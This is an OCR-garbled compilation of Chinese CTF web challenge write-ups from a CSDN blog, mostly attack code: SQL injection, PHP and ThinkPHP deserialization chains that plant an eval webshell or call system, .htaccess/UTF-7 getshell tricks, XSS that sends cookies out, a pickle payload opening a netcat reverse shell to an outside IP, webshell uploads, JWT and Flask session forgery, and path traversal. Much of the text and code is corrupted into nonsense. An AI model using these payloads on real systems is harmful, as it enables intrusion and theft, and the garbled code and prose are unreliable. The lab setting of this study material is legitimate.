Referer: http:/app/content. php?id=12

None CSDN @xiaolong22333

[RootersCTF2019]babyWeb

AT BAIRERTEN

search=1 and updatexml(1,concat(@x7e,(select group_concat(table_name) from information_schema.tables where table
schema=database()),0x7e),1)

search=1 and updatexml(1,concat(@x7e, (select group_concat(column_name) from information_schema.columns where tab
le name=char(117,115,101,114,115)),0x7e),1)

search=1 and updatexml(1,concat(@x7e, (select group_concat(uniqueid) from users),0x7e),1)

1851837461526918364526, & F&Flfag

HEHE T REN

search=1 || 1=1 limit @,1

[2020 %7 4113 ]1

<?php
error_reporting(0);

class A {

protected $store;



http://http.requestbin.buuoj.cn

protected $key;

protected $expire;

public function _ construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
‘path', 'dirname', 'basename', ‘'extension', 'filename’,
'size', 'mimetype', 'visibility', ‘timestamp', ‘'type’,

1);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);

return $contents;

public function getForStorage() {

$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);

public function save() {

$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);

public function _ destruct() {

if (!$this->autosave) {
$this->save();

class B {

protected function getExpireTime($expire): int {

return (int) $expire;

public function getCacheKey(string $name): string {
[/ EEFT AR
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?");
}

return $cache_filename;




if (is_numeric($data)) {
return (string) $data;

$serialize = $this->options['serialize'];

return $serialize($data);

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, @755, true);
} catch (\Exception $e) {
/] BRI

$data = $this->serialize($value);
if ($this->options['data_compress'] && function exists('gzcompress')) {

/ /B 4R
$data = gzcompress($data, 3);

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file put contents($filename, $data);

if ($result) {

return $filename;

return null;

if (isset($ GET['src']))

{
highlight file(_ FILE_ );

"uploads/";

if (lis_dir($dir))
{

mkdir($dir);




unserialize($_GET["data"]);

HRZ BTHMI[EIS 2019]EZPOPEARZ, RARZ T4t G4 —»

public function getCacheKey(string $name): string {
/] AEEAF M FEHL
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?");
}

return $cache_filename;

T LL /../shell.php/. IXEEFRSET

protected $store;
protected $key;
protected $expire;

public function _ construct(){
$this->complete = base64 encode('aaaPD9waHAgQGV2YWwoIF9QT1NUWydjbWQnXSk7Pz4=");
$this->cache = array();
$this->store = new B();
$this->key = '/../shell.php/.";
$this->autosave = false;

class B{
public $options = array();

public function _ construct(){
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/";
$this->options['serialize'] = 'base64 decode';

$this->options['data_compress'] = false;

$a = new A();

echo urlencode(serialize(%$a));

[XNUCA2019Qualifier]EasyPHP




<?php
$files = scandir('./");
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);

include_once("f13g.php");
if(!isset($ _GET['content']) || !isset($ GET['filename'])) {
highlight_file(_ FILE_);
die();
b
$content = $ GET[ 'content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content, 'type') || stristr($content, 'flag’
) || stristr($content, 'upload') || stristr($content,'file')) {
echo "Hacker";
die();
¥
$filename = $_GET['filename'];
if(preg_match("/[*a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
¥
$files = scandir('./");
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);

file_put_contents($filename, $content . "\nJust one chance");

BIXBRITENT , AL XAVE, SF2MATET

B, BT —THBEETUSEL, S shelphp, HRTEEAAUERTUS, BEEEMEN, HEAE

%8S .htaccess , I, FFMEITE, (ENEENREX, EASHE M7, BERHAT, REER, KGR, 4580, %
SEBF. o o TAEMMET, HEEWwpHpayload

php_value auto_prepend_fi
le ".htaccess"
#t <?php phpinfo();?>

?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%20%0a%23< ?php%20system(%27cat%20/f*%
27) ;2>\

BEREIE, B& .htaccess XHEARFET, &FEMANE LFFSHEHRITRHK
FERAMESPATEEM N\, RKREET
AR, EF — N EBUR R IEN EFHKEC80, ERERD)




TR R A

B Sl error_logk B & AR R SCHEAR, W0 /tmp/F13g.php , ARJEE Einclude pathiAZinclude()Birequire ()& $u & 304
MR, X B LR & Binclude_pathE]| — AN FA7E ¥ 304 ¢ B BT Al R 0 & B R4S, Hlinclude_pathffI{E t £ 4% th B B 35
F, FHEk BB R finclude_path/AEFER B /+ BRI, FREHReE HEBRZEN /tnp/f13g.php , SRSV I IRE G B
include_path#t A/tmp, BiTA]itindex.phpf&fi3g.php3Kgetshell, {HAAN/NiE Merror_logH ] R & £htmlentities K], k24
BERRFRLARmG, TERERU-TREDT

Rt RENRE AR :
Step1 BN .htaccess error_logtE><AIECE

php_value include path "/tmp/xx/+ADw?php die(eval($ GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php

#

Step2 aalindex.phpBE Terror_log
Step3 B N htaccess#hfiEE

php value zend.multibyte 1
php value zend.script _encoding "UTF-7"

php_value include_path "/tmp"

#
Step4 FiAA—Kindex. php?2=evilcodefJA] getshell. CSDN @xiaolong22:333
D WHIaDIONgL£5353
[ 35 4% 2020]easyphp

BR_E(IXNUCA2019Qualifier|EasyPHP)— 15— F )

EasyBypass



<?php
highlight file(_ FILE );
$ GET['comml'];

$ GET['comm2'];

if(preg_match("/\"|\" [\\|\*¥|\n|\t|[\xA0|\r|\{|\}I\C(|\)|<|\&[~*\d]|@|\]||tail|bin|less|more|string|nl|pwd]|cat|sh|fla
g|find|1ls|grep|echo|w/is", $comml))

$comml = "";
if(preg_match("/\"|\"|; ], [\ [\*¥[\\|\n|\t|\r[\xA0|\{|\}\C|\)[<|\&[~\d]|@|\]||1s|\]||tail|more|cat]|string|bin|less|

|tac|sh|flag|find|grep|echo|w/is", $comm2))

$comm2 = "";

"#flag in /flag";

. $comml .

. $comm2 .

$cmd = "file $comml $comm2";
system($cmd);
?>

Bt At i, BEERPHERAT
payload

?comml=index.php";tac%20/f1*;"&comm2=1

[Z## 2019]iamthinking

www.zip T ZRIES

Eskdlbet b



<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController

{

public function index()

{

echo "<img src="../test.jpg'"."/>";
$paylaod = @$ GET[ 'payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER[ 'REQUEST_URI']);

parse_str($url[ 'query'],$query);

foreach($query as $value)

{
if(preg_match("/”~0/i",$value))

{
die('STOP HACKING');
exit();

}

unserialize($paylaod);

& W R tp6 I I 7 514k
pocil


https://xiaolong22333.top/index.php/archives/131/

namespace think\model{
use think\Model;

class Pivot extends Model{

¥

namespace think{
abstract class Model{

private $lazySave = true;

protected $withEvent = false;

private $exists = true;

private $force = true;

private $data = array("q"=>"whoami");

protected $schema = array();

protected $name;

protected $visible = array("q"=>1);

private $withAttr = array("q"=>"system");

public function setName($newName){
$this->name=$newName;

namespace{

use think\model\Pivot;

$a=new Pivot();

$b=new Pivot();
$a->setName($b);

echo urlencode(serialize($a));

HEHSE parse_url

parse_url/N&

parse_url & $U7E fE T url I 72 7Ebug, 383 ///x php?key=value ] 77 2 KR [Blfalse, % AN 3k A\ foreachffE #1347 3
payload:

http://e180bf73-baf1-43d5-984c-62e7e1fb98c9.noded.buuoj.cn:81///public/?payload=0%3A17%3A%22think%5Cmodel%5CPivo|
[£%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs
%53A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A17%3A%22
%500think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bs%3A9%3A%22cat+%2Fflagk22%3B%7Ds%3A9%3A%22%00%2A%00s ch
ema’22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00name%22%3B0%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%
POthink%5CModel%001lazySave’22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent’%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel
%500exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%
3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bs%3A9%3A%22cat+%2Ff1ag¥k22%3B%7Ds%3A9%3A%22%00%2A%00s chema%22%3Ba%3A0%3A%7B%7Ds%3 A
7%3A%22%00%2A%00name’%22%3BN%3Bs%3A10%3A%22%00%2A%00visible%22%3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bi%3A1%3B%7Ds%3A21%3
A%22%00think%5CModel%00OwithAttr%22%3Ba%3A1%3A%7Bs%3A1%3A%22q%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A10%3A%22%00%2|
A%OOvisible%22%3Ba%3A1%3A%7Bs%3A1%3A%220%22%3B1%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%0@0withAttr%22%3Ba%3A1%3A%7|
Bs%3A1%3A%22q%22%3Bs%3A6%3A%22system%22%3B%7D%7D

[ 545 2020 F &4 Ifilejava



https://www.cnblogs.com/tr1ple/p/11137159.html

javawebEFE% 3, javalt) @S HCE

[CISCN2019 &2 ¥ 32 Day1 Web4]Laravel1

BIEEHRAEMAFHTR, A2 RLaravelf 7 FI4LIE
ETHBRwp, RR. . .

N5 SEtp6 I R P 5L, AT . o o JeCER

T U BB S5 HH X PR R B R TS — 58 B envd e

[CISCN2019 4 % 1t 3% [X ]Web2

buufixss FEEMAT, REeEBwWp T
ETEBH, BfhRiZeEExss, HEEO)ERA O, WA EHEBst, HAREMACcsp

<meta http-equiv="content-security-policy" content="default-src 'self'; script-src ‘'unsafe-inline' ‘'unsafe-eval'

3N

W b & Fhwp thEiE Bllesp, HABHEZIHE (new Image()).src B window.location.href (BRI, J5RE 2 Kwp, REF
cspHiBkEEGet, KBURHEA: X HcespMNAHE LB ™. BN unsafe-inline’ 'unsafe-eval £t 4 B ATTINE — BL N BLjs RIS $4T o
T A LI A 733 R 7 Fwindow.location.hrefft AT 481 . & 5 payload KX i+

<svg><script>eval@#408#348#408#102&#1178#110&#99&#116&#105&#111&#110&#40&#41&#123&#119&#105&#110&#100&#111&#119§
HAG6RH108&H#111&H#O9&HO7&#116&H#105&#111&#110&H#46&#1048&#114&#101&#102&#618&#39&#104&H#116&H#116&#112&#58&H#478&#A47&#1208&H]
115&H#115&#A6&#98&H#117&#117&#1118#106&H#A6&#998#110&H#A47&#105&#1108#1008#1018&#120&#46&#1128&#104&#112&#638&#100&#H#111§
HO1&HO78&H#1128&#105&#38&H#105&#100&H#61&#1208#1128&#113&#119&#738#80&#38&#107&#1018&#101&#112&#115&#101&#115&#115&#105
RH#1118&#110&#618#488&#38&#108&H#111&#99&#978#116&H#105&#111&#110&#618&#39&#43&#1018&H#115&#99&#978&#112&#101&#408#40&#10
2&#117&#1108#99&#116&#105&#111&#110&H#A40RH#41&H#1238&#116&#114&H#121&#1238&#114&#101&#116&#117&H#1148&#110&#328&#1008&#111]
RH#O9&#H117&#109&#1018&#110&#116&#468#1088&H#111&#99&#978&#116&#105&#1118#110&H#46&#104&#114&#1018&#1028&#125&#99&#97&#11
6&#99&#104#40&H#101&#HA1&H#123&#1148&#101&H116&#1178&#1148#1108&#39&#398&H#1258&#125&#41&H#40&HA1&H#A1&H#A3RH#39&H#38&#H#116&#1]
118#112&#108&#111&#998#97&#116&#105&#1118#110&H#618&H#39&H#A3&H#1018H#115&H#99&H#97&#1128#101_&#40&#40&#102&#1178#110&#99
BH116&H#105&#111&#110&H#A40&HA1&H#123&#1168#1148H#121&#123&#114&#1018H#116&H#117&#1148&#110&H#328&#116&#1118&#112_&#46&#108&
#111&#90&HO7&H#116&#1058#111&H#110&#HA6&#1048#1148#101&#1028&#125&#99&#978&#116&#99&#104&#40&#101&#A41&#1238#114&#101§
H116&#117&H#114&#1108#39&#39&H#125&#125&#418H#40RHA1KHAL&H#A3RH3O&H3IB&HOO&H111&#1118#1078&#105&#101&#61&#39&#43&#101&
H115&#99&H#O78&#112&#1018H#40&#40&H#1028#1178&#110&#99&H#116&#105&#111&#110&H#40RHAL1RH1238#116&H#114&#1218&#123&#1148&#101]
BH116&H#117&#114&#110&#328&#100&#111&#998#1178&#109&#1018&#110&#H#1168#46&#090&H#111&#111&#107&#105&#101&H#1258#99&#97&#1]
168#99&#1048&#408#101&H#A18H#123&H#114#101&H#116&#1178&H#114H#1108#39&#39&H#125&#125&#413#HA0RHA1&HAL&HA3RH3ORH3IBE&H#111&H
112&#1018&H#110&#1018H#1148H#H618H#39&HA3RH#1O1&H#L 158 H99&H#HO7&#1128&#101&HA0&HAO&H102&#1178#110&H#99&H#116&H#105&#111&#110&#
A0 H#A1&#123&#116&#1148#121&#123&#114&#101&#116&#1178&#114&#110&#40&#119&#105&#1108#100&#1118&#119&#468#1118&#112&#1
01&#110&#101&#1148#38&#38&#119&#105&#110&#100&#111&#1198H#46&#111&#112&#1018&#110&#1018&#114_&#46&#108&#111&#99&#97&
#116&#1058#1118#110&#46&#1048#1148#1018&#102&#418#638&#119&#105&#1108#100&#111&#119&#468#1118&#112&#101&#1108#101&H
1148#46&#1088#111&#99&#978#116&#105&#111&#1108#46&#1048&#1148#1018#1028&#58&#398#39&#125&#998#978&#116&#998#1048&#40
&#1018&#418#1238#1148&#101&#116&#1178H#114&#1108&#39&#39&#125&#125&#418H#40&H#A41&H#41&#59&#1258#41&#A40&#HA418#598&#34&#41<
/script>

AKEEANTABEINA <svg>
MD 5 f) i £ B mT
<?php

for($str = 1;$str<10000000;$str++){
if(substr(md5($str), 0, 6) === 'cd6173"){

echo $str;

break;



https://www.zhaoj.in/read-6100.html

3 J5 & Fcookie B fliadmin.php, )5 i@ I BL&1E N £flag

TEUM ERwpE R TR EIRIE, HAMES—PREERYE, AtAEZZINE, RENWKE#payload, KT

[NESTCTF 2019]Love Math 2

<?php
error_reporting(0);
/ /TR E RS, ARERESFE M E flag
if(lisset($ _GET['c'])){
show_source(_ FILE_);
}else{
//BlF c=20-1
$content = $ GET['c'];
if (strlen($content) >= 60) {
die("AKKTA=E");
}
$blacklist = [" ', "\t', ‘\r', ‘\n',"\"", """, 7', '\[', '\1'I;
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("BAEWMATHEENFR");

¥

/ /& R RBhttp: //www.w3school.com.cn/php/php_ref_math.asp

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', ‘'atan', 'atanh', ‘'bindec', 'ceil', ‘'cos', '
cosh', 'decbin' , ‘'decoct', 'deg2rad', 'exp', 'expml', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is fin

ite', 'is_infinite', 'is nan', 'lcg value', 'logld', 'loglp', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand',

mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', ‘'srand', 'tan', 'tanh'];
preg match_all('/[a-zA-Z \x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used funcs);
foreach ($used_funcs[@] as $func) {
if (!in_array($func, $whitelist)) {

die("EANEMATFEENRLE");

}
/B RERER

eval('echo '.$content.';"');

[CISCN 2019 #1%&]Love MathiIiERfit, MIERX T base _convert Ml dechex , REFEE—NEEAFAKER, XEEHRE

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', ‘'asinh', 'atan2', 'atan', 'atanh', ‘'bindec', 'ceil', ‘'cos', 'cosh',
'decbin' , 'decoct', 'deg2rad', 'exp', 'expml', 'floor', 'fmod', 'getrandmax', 'hexdec', ‘'hypot', 'is finite',
'is_infinite', 'is_nan', 'lcg_value', 'logl®@', 'loglp', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_sra
nd', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for ($k=1;$k<=sizeof($payload);$k++){
for($i = 0;%1 < 9; $i++){
for($j = 0;%7 <=9;%j++){
$exp = $payload[$k] ~ $i.%$7];
if($exp == ' G'){
echo($payload[$k]."~$i$j"."==>%exp"."\n");
Yelseif($exp == "ET'){
echo($payload[$k]."~$i$j"."==>%exp"."\n");




s Dz \work>
is finite”6
is infinite
is nan“64=—=

mt_sran

rad2deg =>ET
rand~75==>ET
tan™5==>ET
tanh

AEIERINEER 6eT, HWHER ("is_nan"r"64").("tan"~"15") , [HRBEXIIET 515, HHEREKIX
FE (is_nan~(6).(4)).(tan~(1).(5)) » REARIENY, RIEXHEISHELT RAXFERERIIRE
R Kpayloadin T :

?c=$pi=(is_nan”(6).(4)).(tan”(1).(5));$pi=$%pi;$pi{0}($pi{1})&0=system&l=cat%20/flag

getH¥ER [1 TBAH {3 B1R, $pi{e}($pi{1}) BN $_GET{0}($_GET{1}) S HIRFBE M system(cat /flag)

[watevrCTF-2019]Pickle Store

Pythonft1 = 5514k, session®] LAbase64 /5 Fpickle R 754k K, BE AT AR A pickle & 5 5T K & #ishell, ZEyER K Zbuu
AW, L Z /NS AR

S RERTE .

Linux Labs

1
20207108241 B ERIFTEIUISRE ST,

R VSE—& =T 7 LAMP B9H1EE,

HEXEVRBTENAN, FrAaREESnTE @Y
BinXalEs.

EBETHE— MK REERNE—&a8, CUREREE
WSS RAE0, I — Mk SRENX B,

ssh FIF4 root B35 123456 HEUHFONH O 0anaa B,

SR

SR

Flag =%

C5DI




R gifconfig&r FHipthblk, K#shellt 2 # FiX B

expil T

import base64

import pickle

class A(object):

def _ reduce_ (self):
return (eval,

A()

print( base64.b64encode( pickle.dumps(a) ) )

Q =

A G & Hisession
HERFEEHRIN. o o

[RootersCTF2019]imgXweb

BREMER, #RERAN LA
A2 AT

J o | [-TE T | (=T ‘ [RL-7% |

(" __import_ ('os').system('nc 174.0.0.223 9999 -e/

/sh')",))

J v | ITOUG 3 | (=79 | RN | IGIuG!

POST /home HTTR/11

Host: 284117 38-36fe-4e43-8534-2940e3215653 . noded. buuoj.cni:8l

User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wined; «64; rv98.0) Gecko/20100101 Firefox/98.0
Accept: text/htrnl.application/shtrnl+xml. application/xml.g=0.9imag 2
Accept-language: zh-CH.zh;q=0.8zh-TW,q=07zh-HK:g=05,en-US%,q=03,en,g=02
Content-Type: multipart/forrm-data;

boundary=
Content-Length: 251

Origin: http:// 2841157 38- 36fe-4e43-8534-2940e3a15653 noded. buuoj.cn:B1
Connection: close

Referer: http:// 284107 38- 36fe-4ed3-8534- 294023215653 noded buuej cnigl/
Cookie

session_id=ey)0eXAIOUKY IQIL CIRbGOIUZl M9 eyl c2
woruDv_h2iKOwTligULOizgg
Upgrade-Insecure-Requests: 1

123054359935206739371950735908

joieGlhb2xbrmdfQ tcbpPysmdcuC gfaOny

123054359935 20673937 1950735908
Content-Disposition: form-data; name="file"; filenarme="/../2. php"
Content-Type: image/png

<Tphp @eval($_POST crnd 73,7
123054359935 2067393719507 35908- -

T

HTTP/1.1302 Found

Server: openresty

Date: Wed, 06 Apr 2022 04:15:25 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 339

Connection: close

Location: http:// 284167 38- 36fe-4ed3-8534-2040e3a15653. noded buuoj.cni:8l/home

nal//EN">

<hl>Redirecting...

<p=You should be redirected automatically to target URL: <a
href="http:// 284107 38- 36fe-4e43-8534- 2940e3a15653.noded buuaj.cn:Bl/home" > http: // 28416738~
36fe-4ed3-8534-2040e3a15653 . noded buugj.cn:8l/heme</a> . If not click the link.

@x ongZ2333

e
Vhw il

Bt L 4Ephp, EARENT, RN & Hsession idfEjwt, W EhEadmin, I EHE—secretkey
XA robots.txt, HLTH A static/secretkey.txt, V15145 Fsecretkey, FPHLFHEIH T




HEADER:

eyJBeXA101iJKV1QiLCJhbGci0iJIUZIINLIJ9 ey

J1c2VyIjoiYWRtaW4ifQ.g_1GU4qTO2VhNrZK9k { "
"t T TIW ',
468xz828GcqKBayZPemLmhUgE e sz
}
PAYLOAD:
"user": "admin"

VERIFY SIGNATURE

HMACSHA256 (
base64UrlEncode(header) + "." +
base64UrlEncode(payload)
you-will-never-guess

) O secret base64 encoded

E#jwt, EIhLladmin, Eflag.png T FRiZHEARIT i A flag

[HarekazeCTF2019]Easy Notes
e, 7 Eadming ge&E2flag, F— TG
flag.php

<section>

<h2>Get flag</h2>
<p>

<?php
if (is_admin()) {

echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";
} else {
echo "You are not an admin :(";
¥
?>
</p>
</section>

lib.php

function is_admin() {
if (!isset($_SESSION[ 'admin'])) {
return false;

}
return $ SESSION[ 'admin'] === true;

export.php



<?php

$filename = get user() . '-' . bin2hex(random bytes(8)) . '.' . $type;

$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;

RN FHECENE XL AN get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type; , MAMBRAIKAF 4
A Sess_ s type?ﬂ . w5 BB A 2 SE55_ XXXXXXXXX X session X, T SO NS R TR, AR AT DAphiE
session [

—fsessionF| EERINZphp, WELRESE + B + Zidserialize() iR HUF 5140 40 28 F{E

BN beEtite b4 3E |N;admin|b:1;  (INA T R RTHEKIRME, K505 2 RIT)

SHEIE, Ktypedth ., BEIXH sess_-15e9ef6es7ebfe2b , RJFHPHPSESSIDHUN -15e9ef6e47ebfe2b i fEfS Elflag

Easy Notes Home Get flag L

Get flag

Congratulations! The flag is:

P DEsE NRe (eteEE O Qo B ek o EEEERE B UmEs @ Hackear
V mEdEE + @B vx
4940-b69f-583613435¢95.noded. buuoj.cn:81 =R =l Domain Path Expires / Max-Age Fz HttpOnly  Secure SameSite EfSiEE v &
PHPSESSID -15e9efbed7ebfe2b 007dcb92-c... [ T 26 false false None

[PASECA2019]honey_shop

ZUWEAU, LA, BEEARTE, HisessionEEBIRR, RS, W ARNaskITEN % DEE HRIX £flaskffisession T
FREEEATERIE, MERATUMARH T, SRIEELRHE /proc/self/cndline K3 app.py » EREEH IR
B, FIREYEIRERFBITRHMERIIFEZE /proc/self/environ , KIL SECRET KEY , HEAHERAask T, A LA EFE session



D:\&ELt /A EEICTF\flask-session-cookie-manager>python fla sionceeokie mana

oxMzM2LCIwdX]jaGFzZXMioltdfQ. ¥Y10Gww . GUTdr37gpIQpCOUoMA ] TZBA5Quo &5 3¥jfwlDynpCebY:
{'balance': 1336, 'purchases': []}

B e, #iksessionBin]

r>python flask'Sessionacookic manager3.py encode -s "3YjfwlDynpCeb
‘purchases’®: []}"

']IiX]wauF_th1HLt1+ﬂ NIDHaD oQ11I-81-m@sb dn-BES4UbKrD4

A RXERANTREER R, RINER SECRET_Key A5 SBE, RE4EMEsessionH HE, EXGSEEREHE,
FEH 2 R

[BSidesCF 2019]Pick Tac Toe

BRI

<table id="board™>
<tr
<form id=" form ul’ method=" POST’ action= fmove >
<input type= hidden’ name= move’ wvalue="ul’ >
<td id="ul’ onClick= (" #form wl™). submit ()’ > </td>
</form>
<form id=" form u method="POST’ action= /move’ »
<{input type= hidden’ name= move’ wvalue="u >
<td id=" v onClick="$("8#form u™). submit () » </td>
</form>
<form id=" form ur’ method=" POST’ action= fmove >
<input type= hidden’ name= move’ wvalue="ur’ >
<td id= wr’ onClick= 3" #form wr™). submit ()’ > </td>
</form>
<ftry
<tr
<form id=" form 1’ method="POST’ action= /move’ »
<{input type= hidden’ name= move’ wvalue="1"3>
<td id="1" onClick="$("8form 17). submit ()" » </td>
</form>
<form id= form ¢ method="POST’ action= /move’ »
<{input type= hidden’ name= move’ wvalue="¢ »
<td id=" ¢’ onClick="$("#form ). submit ()" » </td>
</form>
<form id= form r’ method="POST’ action= /move’ »
<{input type= hidden’ name= move’ wvalue="1 >
<td id="r’ onClick="$("#form r™). submit () » </td>
</form>
<ftry
<tr
<form id=" form k1’ method= POST’ action= fmove >
<{input type= hidden’ name= move’ wvalue="hl’ >
<td 1d= bl onClick=" $("#form b1™). submit ()" > <ftd>
</fDrm> C5DN @xiaclong22333

s LY . 7 Y A 1 m? .. T LY

REpostRZHHE, TR MIERMAT, EXBRERRT, BREERM. « o .

[WMCTF2020]Make PHP Great Again 2.0



<?php
highlight file(_ FILE );
require_once 'flag.php';

if(isset($ GET['file'])) {

require _once $ GET['file'];

BR R 1.0—

PHP&#Thi /N Trick, require_once & M8 E R £ ifoncefhashiL AL = B R BUEHRES &
Iproc/selffg [F] Z4 5T HEFE I /proc/pid/, /proc/selfiroot/ R 18 A1/ K75 5 4k 1
payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/sel

f/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/

proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

phpIBERE 431 require_once S A8 B B A& S HIBR H1)
N iZ R 1E 8 T F Fsession.upload_progressi#4Tsession & i JE T

virink_2019 files_share

HEI, KMuploadsHx, wifipreviewdll®, KILATLMER AT

= L L 1 — L 1 1
JGET /preview?=/. /...//flag_ls_h3re.//flag HTTP/1.1 A HTTR/1.1 200 OK
Host: abddbbaf-ebdb-deSe-a82b-5c6dcce5887 a noded buuoj.cnidl E Server: openresty
User-Agent: FMozilla/5.0 (Windows NT 10.0; Wined: x84, re.99.0) Gecko/20100101 Firefox/99.0 Date Wed, 13 Apr 2022 00:11:32 GMT
Accept: text/htrl. application/xhtml+xml, application/«ml:q=09image/avif.image/webp*/*.q=08 Content-Type: text/plain
Accept-Language: zh-CM,zh;q=0.8zh-TW.q=07.zh-HkK.q=05en-Us,q=03,en;q=0.2 Connection: close
Connection: close Author: Virink <virink@outlook corn =
Referer: http//abddbbaf-ebdb-4e5e-aB2b-5cbdcce5B887a noded buuoj.cniBl/uploads/ Cache-Control: no-cache
Upgrade-Insecure-Requests: | Content-Length: 44
| flag{ag176163-bbbd-4d20-83c8-65402debfaal)
1 JSDN @ 22353
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